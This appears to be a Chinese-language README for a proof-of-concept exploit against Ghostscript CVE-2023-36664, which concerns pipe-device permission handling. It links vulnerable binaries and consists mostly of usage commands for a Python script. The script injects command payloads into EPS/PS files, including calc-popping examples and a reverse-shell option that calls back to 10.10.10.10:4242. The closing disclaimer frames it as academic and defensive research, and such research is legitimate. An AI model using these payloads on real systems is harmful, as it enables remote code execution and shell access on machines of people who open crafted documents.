10.01.2 之前版本的 Ghostscript 存在漏洞,可导致代码执行(CVSS 评分 9.8)。
官方漏洞描述:
Artifex Ghostscript 直至 10.01.2 版本在处理管道设备(使用
%pipe%前缀或|管道字符前缀)时,权限验证处理不当。
Debian 发布的安全公告提到可能执行任意命令:
“发现 Ghostscript(GPL PostScript/PDF 解释器)在处理管道设备的权限验证时处理不当,若处理格式错误的文档文件,可能导致执行任意命令。”
该仓库是为 vsociety 博客上的 CVE 分析博文创建的。
在此下载 Ghostscript 10.01.1:https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Windows x64 可执行文件直接链接:https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
利用可在打开 PS 或 EPS 文件时发生,由于 Ghostscript 对管道设备的权限验证处理不当,可导致代码执行。
用法:python3 CVE_2023_36664_exploit.py <输入文件> <命令>
示例:
python3 CVE_2023_36664_exploit.py file.eps "calc"
这会生成一个名为 file_injected.eps 的新文件。
用 Ghostscript 打开此文件以触发计算器(从版本 9.50 开始还需使用 -dNOSAFER 选项):
gs10011w64.exe -dNOSAFER .\file_injected.eps
其他示例: 生成一个名为 run_calculator.eps 的新 EPS 文件,包含 payload "calc"(在 Windows 上弹出新的计算器)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
生成一个名为 rev_shell.eps 的新 EPS 文件,包含自定义 IP(在 Unix 上触发时启动反向 shell)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
生成一个名为 malicius.ps 的新 PS 文件,包含 payload "calc"(在 Windows 上弹出新的计算器)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
向现有文件 file.eps 注入恶意自定义 payload("calc")(在 Windows 上弹出新的计算器)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
本软件纯粹出于学术研究和开发有效防御技术的目的而创建,并非用于攻击系统,除非明确授权。项目维护者不对软件的误用负责。请负责任地使用。